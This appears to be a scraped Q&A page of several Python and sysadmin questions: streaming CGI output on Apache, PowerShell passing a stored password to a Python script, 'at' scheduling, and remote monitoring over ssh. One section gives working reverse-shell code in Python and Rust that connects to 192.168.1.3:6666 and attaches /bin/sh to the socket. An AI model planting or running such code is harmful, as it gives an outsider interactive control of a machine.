How can I serve unbuffered CGI content from Apache 2? - python

I would like to be able to allow a user to view the output of a long-running GCI script as it is generated rather than after the script is complete. However even when I explicitly flush STDOUT the server seems to wait for the script to complete before sending the response to the client. This is on a Linux server running Apache 2.2.9.
Example python CGI:
#!/usr/bin/python
import time
import sys
print "Content-type: text/plain"
print
for i in range(1, 10):
print i
sys.stdout.flush()
time.sleep(1)
print "Done."
Similar example in perl:
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
for ($i = 1; $i <= 10 ; $i++) {
print "$i\n";
sleep(1);
}
print "Done.";
This link says as of Apache 1.3 CGI output should be unbuffered (but this might apply only to Apache 1.x): http://httpd.apache.org/docs/1.3/misc/FAQ-F.html#nph-scripts
Any ideas?

Randal Schwartz's article Watching long processes through CGI explains a different (and IMHO, better) way of watching a long running process.

Flushing STDOUT can help. For example, the following Perl program should work as intended:
#!/usr/bin/perl
use strict;
use warnings;
local $| = 1;
print "Content-type: text/plain\n\n";
for ( my $i = 1 ; $i <= 10 ; $i++ ) {
print "$i\n";
sleep(1);
}
print "Done.";

You must put your push script into a special directory wich contain a special .htaccess
with this environnment specs:
Options +ExecCGI
AddHandler cgi-script .cgi .sh .pl .py
SetEnvIfNoCase Content-Type \
"^multipart/form-data;" "MODSEC_NOPOSTBUFFERING=Do not buffer file uploads"
SetEnv no-gzip dont-vary

According to CGI::Push,
Apache web server from version 1.3b2
on does not need server push scripts
installed as NPH scripts: the -nph
parameter to do_push() may be set to a
false value to disable the extra
headers needed by an NPH script.
You just have to find do_push equivalent in python.
Edit: Take a look at CherryPy: Streaming the response body.
When you set the config entry "response.stream" to True (and use "yield") CherryPy manages the conversation between the HTTP server and your code like this:
(source: cherrypy.org)

Related

What is the Rust equivalent of a reverse shell script written in Python?

A reverse shell script in Python normally looks something like this:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call([\"/bin/sh\", \"-i\"]);
I am trying to duplicate this process with Rust:
let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
I only got as far as getting a TCP connection to my host machine, listening with netcat (nc -l -p 6666). If I understand correctly, I need to redirect standard input, output, and error, through the socket and then somehow "call" /bin/sh.
How do I write this reverse shell script in Rust?
The equivalent of your Python reverse shell in Rust would be:
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("192.168.1.3:6666").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}

Send text to password STDIN of Python process with powershell

I'm trying to create a powershell script which will enter a password coming from the Credential Manager into the password input of a Python script. In this older post, I found some information on how to start a process with Powershell and then enter some text in the STDIN but for some reason, this method does not work for me. I execute the python script and it just keeps waiting for a password input in the Powershell command line window.
This is the code and it executes the Python script correctly which asks for a password, but nothing happens after that. I can enter the password manually and click enter, but that is not the purpose of course. Then I can just execute the python script by itself.
$executingScriptDirectory = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
. $executingScriptDirectory\CredMan.ps1
$launcherScript = Join-Path $executingScriptDirectory "launcher.py"
$credTarget = 'some-target-in-credential-manager'
Write-Host "Loading password from Windows credmgr entry '$credTarget' ..."
[object] $cred = Read-Creds $credTarget
if ($cred -eq $null)
{
Write-Host ("No such credential found: {0}" -f $credTarget)
Exit 2
}
# Found the credential; grab the password and boot up the launcher
[string] $password = $cred.CredentialBlob
Write-Host "Launching $launcherScript ..."
Write-Host "Password: '$password'"
$psi = New-Object System.Diagnostics.ProcessStartInfo;
$psi.Arguments = "$launcherScript "
$psi.FileName = "python.exe";
$psi.UseShellExecute = $false; # start the process from its own executable file
$psi.RedirectStandardInput = $true; # enable the process to read from stdin
$p = [System.Diagnostics.Process]::Start($psi);
Start-Sleep -s 2 # wait 2 seconds so that the process can be up and running
$p.StandardInput.WriteLine($password);
$p.WaitForExit()
What could the problem be? The password is requested in the python script with this line and so uses the getpass module.
password = getpass.getpass("Enter your password: ")
Thank you for your help.
If you need any more information, just request it :).
I suppose the Python process does not read the password from the STDIN stream but directly from the terminal the process is attached to. This terminal stream is not subject to any redirects you happen to install before starting the subprocess, so writing to the process's STDIN will not influence this. The fact that you can type your password directly using the keyboard into the Python process and that it accepts it proves me right, I'd say.
In your case you need to tweak the Python process to read the PW from somewhere else, e. g. by passing a special option (totally depending on your Python process of course) or by patching the Python source itself.
Maybe there also are Windows-specific ways to simulate keyboard presses, but that I would call a very ugly a hack and thus cannot recommend.
Alfe, thank you for showing me the right direction to solve this problem.
I've adjusted the python script so that it accepts parameters on the command line and the parameter for the password can be given after the -p option, so like this:
$ script.py -p "password"
To do this from the powershell script, I used this code to first get the credential out of the Windows Credential Manager and give it as a parameter to the python script.
I used an existing script to be able to get the credentials out of the credentials manager, namely the CredMan.ps1 script.
# Get the path of where this script is being invocated to reference to the script files in the same directory as this script.
$executingScriptDirectory = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
# Include external script to speak with Credential Manager
. $executingScriptDirectory\CredMan.ps1
$launcherScript = Join-Path $executingScriptDirectory "script.py"
$credentialTarget = "name-of-credential-in-manager"
[object] $cred = Read-Creds $credentialTarget
if ($cred -eq $null) {
Write-Host ("No such credential found: {0}" -f $credentialTarget)
Exit 2
}
# Found the credential; Grab the password and execute the script with the password
[string] $password = $cred.CredentialBlob
# Execute python script with password given as parameter
$exe = "python.exe"
&$exe $launcherScript -p $password
Thank you for your help and I hope you understand the given answer.

run python script as cgi apache server

I am trying to make a python script run as cgi, using an Apache server. My script looks something like this:
#!/usr/bin/python
import cgi
if __name__ == "__main__":
print("Content-type: text/html")
print("<HTML>")
print("<HEAD>")
I have done the necessary configurations in httpd.conf(in my opinion):
<Directory "/opt/lampp/htdocs/xampp/python">
Options +ExecCGI
AddHandler cgi-script .cgi .py
Order allow,deny
Allow from all
</Directory>
I have set the execution permission for the script with chmod
However, when I try to access the script via localhost i get an Error 500:End of script output before headers:script.py
What could be the problem? The script is created in an Unix like environment so I think the problem of clrf vs lf doesn't stand. Thanks a lot.
I think you are missing a print statement after
print("Content-type: text/html")
The output of a CGI script should consist of two sections, separated by a blank line. The first section contains a number of headers, telling the client what kind of data is
following.
The second section is usually HTML, which allows the client software to display nicely formatted text with header, in-line images, etc.
It may look like
#!/usr/bin/env python
print "Content-Type: text/html"
print
print """
<TITLE>CGI script ! Python</TITLE>
<H1>This is my first CGI script</H1>
Hello, world!
"""
For more details visit python-cgi
For python3
#!/usr/bin/env python3
print("Content-Type: text/html")
print()
print ("""
<TITLE>CGI script ! Python</TITLE>
<H1>This is my first CGI script</H1>
Hello, world!
"""
)

Unix `at` scheduling with python script: Permission denied

I'm trying to create a scheduled task using the Unix at command. I wanted to run a python script, but quickly realized that at is configured to use run whatever file I give it with sh. In an attempt to circumvent this, I created a file that contained the command python mypythonscript.py and passed that to at instead.
I have set the permissions on the python file to executable by everyone (chmod a+x), but when the at job runs, I am told python: can't open file 'mypythonscript.py': [Errno 13] Permission denied.
If I run source myshwrapperscript.sh, the shell script invokes the python script fine. Is there some obvious reason why I'm having permissions problems with at?
Edit: I got frustrated with the python script, so I went ahead and made a sh script version of the thing I wanted to run. I am now finding that the sh script returns to me saying rm: cannot remove <filename>: Permission denied (this was a temporary file I was creating to store intermediate data). Is there anyway I can authorize these operations with my own credentials, despite not having sudo access? All of this works perfectly when I run it myself, but everything seems to go to shit when I have at do it.
Start the script using python not the actual script name, ex : python path/to/script.py.
at tries to run everything as a sh script.
EDIT: The at command tries running everything as a list of shell commands. So you should start your script like this:
at now + 1 minute < python mypythonscript.py
In this case, the #! line at the beginning of the script is not necessary.
I have been working on task scheduling between servers and clients recently. I just abstracted out my scheduling code and put it up on Github. It was meant to schedule several simulations across multiple machines that have all simulations in their filesystems. The idea is that since each machine had a different processor, it would compute each simulation, scp the results back into the server and request the server for the next simulation. The server responds by scheduling a task on the client to run the next unrun simulation
Hope this will help you.
NOTE: Since I only abstracted and uploaded the files about 5 minutes ago, I haven't had the chance to test the abstractions. However, if you come across any bugs, please let me know and I'll debug then as soon as I can.
Github seems to be down now. So here are the files that you'll need:
On the server:
serverside
#!/bin/bash
projectDir=~/
minute=`atq | sort -t" " -k1 -nr | head -n1 | cut -d' ' -f4 | cut -d":" -f1,2`
curr=`date | cut -d' ' -f4 | cut -d':' -f1,2`
time=`python -c "import sys; hour,minute=map(int,max(sys.argv[1:]).split(':')); minute += 2; hour, minute = [(hour,minute), ((hour+1)%24,minute%60)][minute>=60]; print '%d:%02d'%(hour, minute)" "$minute" "$curr"`
cat <<EOF | at "$time"
python $projectDir/serverside.py $1
EOF
serverside.py
import sys
import time
import smtplib
import subprocess
import os
import itertools
IP = sys.argv[1].strip()
PROJECT_DIR = "" # relative path (relative to the home directory) to the root directory of the project, which contains all subdirs containing simulation files
USERS = { # keys are IPs of the clients, values are user names on those clients
}
HOMES = { # keys are the IPs of clients, values are the absolute paths to the home directories on these clients for the usernames on these clients identified in USERS
}
HOME = None # absolute path to the home directory on the server
SMTP_SERVER = ""
SMTP_PORT = None
FROM_ADDR = None # the email address from which notification emails will be sent
TO_ADDR = None # the email address to which notification emails will be sent
def get_next_simulation():
""" This function returns a list.
The list contains N>0 elements.
Each of the first N-1 elements are names of directories (not paths), which when joined together form a relative path (relative from PROJECT_DIR).
The Nth element is the name of the file - the simulation to be run.
Before the end user implements this function, it is assumed that N=3.
Once this function has been implemented, if N!=3, change the code in the lines annotated with "Change code for N in this line"
Also look for this annotation in clientside.py and clientsideexec """
pass
done = False
DIR1, DIR2, FILENAME = get_next_simulation() # Change code for N in this line
while not done:
try:
subprocess.check_call("""ssh %(user)s#%(host)s 'sh %(home)s/%(project)/clientside %(dir1)s %(dir2)s %(filename)s %(host)s' """ %{'user':USER, 'host':IP, 'home':HOME[IP], 'project':PRJECT_DIR, 'dir1':DIR1, 'dir2':DIR2, 'filename':FILENAME}, shell=True) # Change code for N in this line
done = True
os.remove("%(home)s/%(project)/%(dir1)s/%(dir2)s/%(filename)s" %{'home':HOME, 'project':PROJECT_DIR, 'dir1':DIR1, 'dir2':DIR2, 'filename':FILENAME}) # Change code for N in this line
sm = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
sm.sendmail(FROM_ADDR, TO_ADDR, "running %(project)s/%(dir1)s/%(dir2)s/%(filename)s on %(host)s" %{'project':PROJECT_DIR, 'dir1':DIR1, 'dir2':DIR2, 'filename':FILENAME, 'host':IP}) # Change code for N in this line
except:
pass
On the client:
clientside
#!/bin/bash
projectpath=~/
python $projectpath/clientside.py "$#"
clientside.py
import subprocess
import sys
import datetime
import os
DIR1, DIR2, FILENAME, IP = sys.argv[1:]
try:
subprocess.check_call("sh ~/cisdagp/clientsideexec %(dir1)s %(dir2)s %(filename)s %(ip)s" %{'dir1':, 'dir2':, 'filename':, ip':IP}, shell=True, executable='/bin/bash') # Change code for N in this line
except:
pass
clientsideexec
#!/bin/bash
projectpath=~/
user=''
serverIP=''
SMTP_SERVER=''
SMTP_PORT=''
FROM_ADDR=''
TO_ADDR=''
MESSAGE=''
cat <<EOF | at now + 2 minutes
cd $projectpath/$1/$2 # Change code for N in this line
sh $3
# copy the logfile back to the server
scp logfile$3 $user#$serverIP:$projectpath/$1/$2/
cd $projectpath
python -c "import smtplib; sm = smtplib.SMTP('$SMTP_SERVER', $SMTP_PORT); sm.sendmail('$FROM_ADDR', '$TO_ADDR', '$MESSAGE')"
python clientsiderequest.py
EOF
Could you try: echo 'python mypythonscript.py' | at ...

Interface with remote computers using Python

I've just become the system admin for my research group's cluster and, in this respect, am a novice. I'm trying to make a few tools to monitor the network and need help getting started implementing them with python (my native tongue).
For example, I would like to view who is logged onto remote machines. By hand, I'd ssh and who, but how would I get this info into a script for manipulation? Something like,
import remote_info as ri
ri.open("foo05.bar.edu")
ri.who()
Out[1]:
hutchinson tty7 2009-08-19 13:32 (:0)
hutchinson pts/1 2009-08-19 13:33 (:0.0)
Similarly for things like cat /proc/cpuinfo to get the processor information of a node. A starting point would be really great. Thanks.
Here's a simple, cheap solution to get you started
from subprocess import *
p = Popen('ssh servername who', shell=True, stdout=PIPE)
p.wait()
print p.stdout.readlines()
returns (eg)
['usr pts/0 2009-08-19 16:03 (kakapo)\n',
'usr pts/1 2009-08-17 15:51 (kakapo)\n',
'usr pts/5 2009-08-17 17:00 (kakapo)\n']
and for cpuinfo:
p = Popen('ssh servername cat /proc/cpuinfo', shell=True, stdout=PIPE)
I've been using Pexpect, which let's you ssh into machines, send commands, read the output, and react to it, with success. I even started an open-source project around it, Proxpect - which haven't been updated in ages, but I digress...
The pexpect module can help you interface with ssh. More or less, here is what your example would look like.
child = pexpect.spawn('ssh servername')
child.expect('Password:')
child.sendline('ABCDEF')
(output,status) = child.sendline('who')
If your needs overgrow simple "ssh remote-host.example.org who" then there is an awesome python library, called RPyC. It has so called "classic" mode which allows to almost transparently execute Python code over the network with several lines of code. Very useful tool for trusted environments.
Here's an example from Wikipedia:
import rpyc
# assuming a classic server is running on 'hostname'
conn = rpyc.classic.connect("hostname")
# runs os.listdir() and os.stat() remotely, printing results locally
def remote_ls(path):
ros = conn.modules.os
for filename in ros.listdir(path):
stats = ros.stat(ros.path.join(path, filename))
print "%d\t%d\t%s" % (stats.st_size, stats.st_uid, filename)
remote_ls("/usr/bin")
If you're interested, there's a good tutorial on their wiki.
But, of course, if you're perfectly fine with ssh calls using Popen or just don't want to run separate "RPyC" daemon, then this is definitely an overkill.
This covers the bases. Notice the use of sudo for things that needed more privileges. We configured sudo to allow those commands for that user without needing a password typed.
Also, keep in mind that you should run ssh-agent to make this "make sense". But all in all, it works really well. Running deploy-control httpd configtest will check the apache configuration on all the remote servers.
#!/usr/local/bin/python
import subprocess
import sys
# The user#host: for the SourceURLs (NO TRAILING SLASH)
RemoteUsers = [
"deploy#host1.example.com",
"deploy#host2.appcove.net",
]
###################################################################################################
# Global Variables
Arg = None
# Implicitly verified below in if/else
Command = tuple(sys.argv[1:])
ResultList = []
###################################################################################################
for UH in RemoteUsers:
print "-"*80
print "Running %s command on: %s" % (Command, UH)
#----------------------------------------------------------------------------------------------
if Command == ('httpd', 'configtest'):
CommandResult = subprocess.call(('ssh', UH, 'sudo /sbin/service httpd configtest'))
#----------------------------------------------------------------------------------------------
elif Command == ('httpd', 'graceful'):
CommandResult = subprocess.call(('ssh', UH, 'sudo /sbin/service httpd graceful'))
#----------------------------------------------------------------------------------------------
elif Command == ('httpd', 'status'):
CommandResult = subprocess.call(('ssh', UH, 'sudo /sbin/service httpd status'))
#----------------------------------------------------------------------------------------------
elif Command == ('disk', 'usage'):
CommandResult = subprocess.call(('ssh', UH, 'df -h'))
#----------------------------------------------------------------------------------------------
elif Command == ('uptime',):
CommandResult = subprocess.call(('ssh', UH, 'uptime'))
#----------------------------------------------------------------------------------------------
else:
print
print "#"*80
print
print "Error: invalid command"
print
HelpAndExit()
#----------------------------------------------------------------------------------------------
ResultList.append(CommandResult)
print
###################################################################################################
if any(ResultList):
print "#"*80
print "#"*80
print "#"*80
print
print "ERRORS FOUND. SEE ABOVE"
print
sys.exit(0)
else:
print "-"*80
print
print "Looks OK!"
print
sys.exit(1)
Fabric is a simple way to automate some simple tasks like this, the version I'm currently using allows you to wrap up commands like so:
run('whoami', fail='ignore')
you can specify config options (config.fab_user, config.fab_password) for each machine you need (if you want to automate username password handling).
More info on Fabric here:
http://www.nongnu.org/fab/
There is a new version which is more Pythonic - I'm not sure whether that is going to be better for you int his case... works fine for me at present...

Categories